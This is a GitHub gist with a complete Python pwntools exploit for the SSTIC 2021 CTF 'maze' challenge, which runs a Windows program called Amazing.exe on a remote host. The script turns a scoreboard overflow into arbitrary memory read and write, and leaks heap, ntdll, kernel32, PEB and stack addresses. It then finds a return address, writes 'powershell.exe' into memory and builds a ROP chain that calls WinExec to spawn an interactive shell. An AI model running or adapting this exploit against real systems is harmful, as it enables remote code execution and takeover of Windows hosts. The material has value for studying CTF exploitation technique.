Skip to content

Instantly share code, notes, and snippets.

@dialluvioso
Created June 17, 2021 10:12
Show Gist options
  • Select an option

  • Save dialluvioso/26b40b4268350f7691c84ef0dbc83827 to your computer and use it in GitHub Desktop.

Select an option

Save dialluvioso/26b40b4268350f7691c84ef0dbc83827 to your computer and use it in GitHub Desktop.
Exploit for the maze challenge SSTIC 2021 CTF
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
local = False
if local:
HOST = "localhost"
PORT = 1337
else:
HOST = "challenge2021.sstic.org"
PORT = 4577
CLASSIC = 0x1
MULTIPASS = 0x2
MULTIPASS_TRAPS = 0x3
context.log_level = "info"
def register(nickname):
assert(len(nickname) <= 127)
io.sendlineafter("8. Exit\r\n", "1")
io.sendlineafter("Pseudo :\r\n", nickname)
def create_maze(model, width, height, wall_pct, n_traps, score, name):
io.sendlineafter("8. Exit\r\n", "2")
io.sendlineafter("3. Maze multipass with traps\r\n", f"{model}")
io.sendlineafter("Random maze or custom maze ? r/c", "c")
io.sendlineafter("Width odd and greater than 3: ", f"{width}")
io.sendlineafter("Height odd and greater than 3: ", f"{height}")
if model > CLASSIC:
io.sendlineafter("Enter the percentage of wall to remove, default is 5%: ",
f"{wall_pct}")
io.sendlineafter("Number of traps between 0 and 2: ", f"{n_traps}")
io.sendlineafter("Score value for traps: ", f"{score}")
io.sendlineafter("Do you want to save this maze ? y/n ", "y")
io.sendlineafter("What the name of the maze to save ?", name)
def load_maze(name):
io.sendlineafter("8. Exit\r\n", "3")
io.sendlineafter("You can send -1 to come back to the main menu.\r\n", name)
def win_classic_maze(name):
register(name)
io.sendlineafter("8. Exit\r\n", "4")
for _ in range(3):
io.sendline("d")
def win_classic_modified_maze(name):
register(name)
io.sendlineafter("8. Exit\r\n", "4")
io.sendline("z") # capture one trap
io.sendline("s") # rollback
for _ in range(3):
io.sendline("d")
def remove_maze():
io.sendlineafter("8. Exit\r\n", "5")
io.sendlineafter("y/n ?", "y")
def view_scoreboard():
io.sendlineafter("8. Exit\r\n", "6")
def get_trap(score, pos, sym, active):
return p64(score) + p16(pos) + p8(sym) + p8(active)
def leak_classic_maze_map():
view_scoreboard()
# recv until sentinel is found
io.recvuntil(b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF")
# skip the first byte
io.recv(1)
# recv until delimiter + return
data = io.recvuntil(b"\x29\x0D\x0A", drop=True)
data = data.ljust(8, b"\x00")
return u64(data)
def set_arbitrary_classic_map_write(addr):
remove_maze()
register("exploit")
create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -2, "exploit")
payload = b""
payload += b"A" * 31 # padding
payload += p8(4) # maze type
payload += p8(3) # height
payload += p8(3) # width
payload += b"A" * 9 # map
payload += p8(addr & 0xFF) # number of traps
payload += p64(addr >> 8) # 1st trap score
win_classic_maze(payload)
p = log.progress("winning mazes")
# speed up
for _ in range(31):
win_classic_maze(b"C"*127)
rank = get_highest_rank()
while rank < 32:
p.status(f"{rank}/32")
win_classic_maze(b"C"*127)
rank = get_highest_rank()
p.success("finished!")
assert(rank == 32)
# log.info(f"rank: {rank:d}")
load_maze("exploit.rank")
def set_arbitrary_classic_map(addr):
remove_maze()
register("exploit")
create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -2, "exploit")
payload = b""
payload += b"A" * 31 # padding
payload += p8(4) # maze type
payload += p8(8) # height
payload += p8(8) # width
payload += b"A" * 64 # map
payload += p8(addr & 0xFF) # number of traps
payload += p64(addr >> 8) # 1st trap score
win_classic_maze(payload)
p = log.progress("winning mazes")
for _ in range(31):
win_classic_maze(b"C"*127)
rank = get_highest_rank()
while rank < 32:
p.status(f"{rank}/32")
win_classic_maze(b"C"*127)
rank = get_highest_rank()
p.success("finished!")
assert(rank == 32)
# log.info(f"rank: {rank:d}")
load_maze("exploit.rank")
def get_highest_rank():
view_scoreboard()
prev = None
data = io.recvline()
while b"-*-*-*-*-*-*-*" not in data:
prev = data
data = io.recvline()
rank = int(prev.split(b".")[0])
return rank
def read64(addr):
set_arbitrary_classic_map(addr)
io.sendlineafter("8. Exit\r\n", "4")
data = u64(io.recvuntil("\r\n", drop=True))
io.sendline("x")
return data
def readrange(addr):
set_arbitrary_classic_map(addr-16)
io.sendlineafter("8. Exit\r\n", "4")
ret = list()
data = io.recvuntil(b"-*-*-*-*-*-*-*\r\n", drop=True).split(b"\r\n")
for i in range(2, 8):
ret.append(u64(data[i]))
io.sendline("x")
return ret
def arb_write(addr, value):
set_arbitrary_classic_map_write(addr)
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y")
io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5")
io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y")
io.sendlineafter("Number of traps between 0 and 0:", "0")
io.sendlineafter("Score value for traps:", "0")
io.sendlineafter("Do you want to save this maze ? y/n", "y")
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to update traps positions y/n?", "y")
io.sendlineafter("-*-*-*-*-*-*-*", p64(value))
io.sendline("")
def writerange(addr, values):
set_arbitrary_classic_map(addr)
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y")
io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5")
io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y")
io.sendlineafter("Number of traps between 0 and 10:", "0")
io.sendlineafter("Score value for traps:", "0")
io.sendlineafter("Do you want to save this maze ? y/n", "y")
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to update traps positions y/n?", "y")
io.sendlineafter("-*-*-*-*-*-*-*", values)
io.sendline("")
"""
def arb_write(addr, value):
set_arbitrary_classic_map(addr)
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to upgrade to level multipass ? y/n:", "y")
io.sendlineafter("Enter the percentage of wall to remove, default is 5%:", "5")
io.sendlineafter("Do you want to upgrade to level multipass with trap ? y/n:", "y")
io.sendlineafter("Number of traps between 0 and", "0")
io.sendlineafter("Score value for traps:", "0")
io.sendlineafter("Do you want to save this maze ? y/n", "y")
io.sendlineafter("8. Exit\r\n", "7")
io.sendlineafter("Do you want to update traps positions y/n?", "y")
io.recvuntil("Please enter new data respecting the format, for example, current data maze is :\r\n")
data = io.recv(64)
io.sendline(p64(value) + data[8:])
io.sendline("")
"""
import struct
def solve(addr):
badchars = [ 0x00, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x1A, 0x20 ]
addr = struct.pack(">Q", addr)
values = [b for b in addr]
traps = []
for i in range(len(values)):
if values[i] != 0:
break
print(values)
print("####")
last = -1
for j in range(i, len(values), 1):
if values[j] in badchars:
temp = [ 0 ] * 8
if last != -1:
k = last
else:
k = 0
while k < len(values):
if k > j:
temp[k] = 0xff
else:
temp[k] = values[k]
k += 1
print(temp)
"""
temp[j] = temp[j] - 1
last = j+1
traps.append(int("".join(map(lambda x: f"{x:02x}", temp)), 16))
for trap in traps:
print(f"{trap:#x}")
"""
io = remote(HOST, PORT)
"""
pay = b""
for i in range(0x40):
if i == 0: # new terminator
continue
if i == 0x9: # trailing space
continue
if i == 0xa: # new line
continue
if i == 0xb:
continue
if i == 0xc:
continue
if i == 0xd: # return carriage
continue
if i == 0x1a:
continue
if i == 0x20: # white space
continue
pay += p8(i)
"""
def setup():
io.sendlineafter("8. Exit\r\n", "3")
line = io.recvline()
if b"List of existing mazes" in line:
io.sendline("exploit.maze")
remove_maze()
# #################### AQUI EMPIEZA LA MOVIDA #######################
io.sendline("")
log.info("starting hax")
register("exp")
setup()
# ================== STEP1 =====================
create_maze(MULTIPASS_TRAPS, 5, 3, 5, 1, -3, "exploit")
win_classic_maze(b"D"*118)
payload = b""
payload += p8(CLASSIC) # type
payload += p8(3) # width
payload += p8(3) # height
payload += b"ABCDEFGHI" # map
win_classic_maze(payload)
p = log.progress("winning mazes")
# try to speed up process
for _ in range(125):
win_classic_maze(b"C"*127)
rank = get_highest_rank()
while rank < 128:
p.status(f"{rank}/128")
win_classic_maze(b"C"*127)
rank = get_highest_rank()
p.success("finished!")
load_maze("exploit.rank")
classic_maze_leaked_map = leak_classic_maze_map()
log.success(f"classic maze map address is {classic_maze_leaked_map:#x}")
OFFSET_NTDLL = 0x168E70
DELTA_START = 0x5ed0
OFFSET_TEXT = 0x38
OFFSET_WRITEFILE = 0x7018
ntdll_InLoadOrderModuleList = 0x16a4d0
ntdll_PEB = 0x16a448
kernel32_WriteFile = 0x24fd0
heap = classic_maze_leaked_map & ~(0x10000-1)
log.info(f"process heap at {heap:#x}")
#ntdll = 0x7fffeca70000
ntdll = read64(heap+0x2c0) - OFFSET_NTDLL
log.info(f"ntdll mapped at {ntdll:#x}")
InLoadOrderModuleList = read64(ntdll + ntdll_InLoadOrderModuleList)
log.info(f"InLoadOrderModuleList at {InLoadOrderModuleList:#x}")
#amazing = 0x7ff76b3e0000
amazing = read64(InLoadOrderModuleList + 0x38) - DELTA_START
log.info(f"Amazing.exe mapped at {amazing:#x}")
kernel32 = read64(amazing + OFFSET_WRITEFILE) - kernel32_WriteFile
#kernel32 = 0x7fffeb1f0000
log.info(f"kernel32 mapped at {kernel32:#x}")
peb = read64(ntdll + ntdll_PEB) - 0x80
log.info(f"PEB at {peb:#x}")
stack1 = read64(peb + 4096 + 8)
log.info(f"stack1 base is {stack1:#x}")
stack = stack1 - 0x6000
log.info(f"stack target base is {stack:#x}")
# ================== STEP3 =====================
#ret = readrange(stack+0x5a08)
#print(ret)
#f = open("log.txt", "wb")
addr = -1
end = False
p = log.progress("scanning the stack")
for i in range(0x5700, 0x6000, 256):
if end:
break
p.status(f"{i:#x}/0x6000")
for j in range(i+64, i+256, 48):
# f.write(b"reading: %#lx\n" % (stack+j))
# log.info(f"reading {stack+j:#x}")
ret = readrange(stack+j)
# for addr in ret:
# f.write(b"%#lx\n" % addr)
if amazing+0x5e58 in ret:
for r in range(len(ret)):
if ret[r] == amazing+0x5e58:
addr = r*8+j+stack
p.success("found!")
end = True
break
if addr == -1:
p.failure("couldn't find ret")
sys.exit(-1)
else:
log.info(f"found ret at {addr:#x}")
testing = read64(addr)
log.info(f"RET={testing:#x}")
#offsets = [0x5898,0x5e68,0x5bd8,0x4e38,0x58f8,0x5988,0x5750]
#for offset in offsets:
# if check_ret(offset+stack):
# break
# ================== STEP4 =====================
writerange(amazing+0xa808, b"powershell.exe\x00")
#writerange(amazing+0xa808, b"cmd.exe\x00")
rop = b""
rop += p64(amazing+0x12a3) # pop rax
rop += p64(0x38) # just a random offset that doesn't clobber the data
rop += p64(amazing+0x2176) # # mov rcx, qword [rsp+0x40] ; mov byte [rcx+rax], 0x0000006F ; add rsp, 0x38 ; ret
writerange(addr, rop)
rop = b""
rop += p64(amazing+0x4971) # xor eax, eax ; add rsp, 0x18 ; pop rdi ; pop rsi ; ret
rop += p64(amazing+0xa808) # data pointer
writerange(addr+0x38+0x18, rop)
rop = b""
rop += p64(amazing+0x6370) # activaze ZF
rop += p64(amazing+0x5D09) # pop rbx ; ret
rop += p64(1)
rop += p64(amazing+0x6291) # cmove rdx, rbx ; mov rax, rdx ; add rsp, 0x20 ; pop rbx ; ret
writerange(addr+0x38+0x20+0x28, rop)
rop = b""
rop += p64(0xdeadbeefdeadbeef)
rop += p64(kernel32+0x65f80) # win exec
writerange(addr+0x38+0x20+0x28+32+0x20, rop)
#arb_write(addr, amazing+0x5553)
log.info("hijacked ret!!")
#context.log_level = "debug"
io.sendlineafter("8. Exit\r\n", "8")
io.sendline("dir")
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment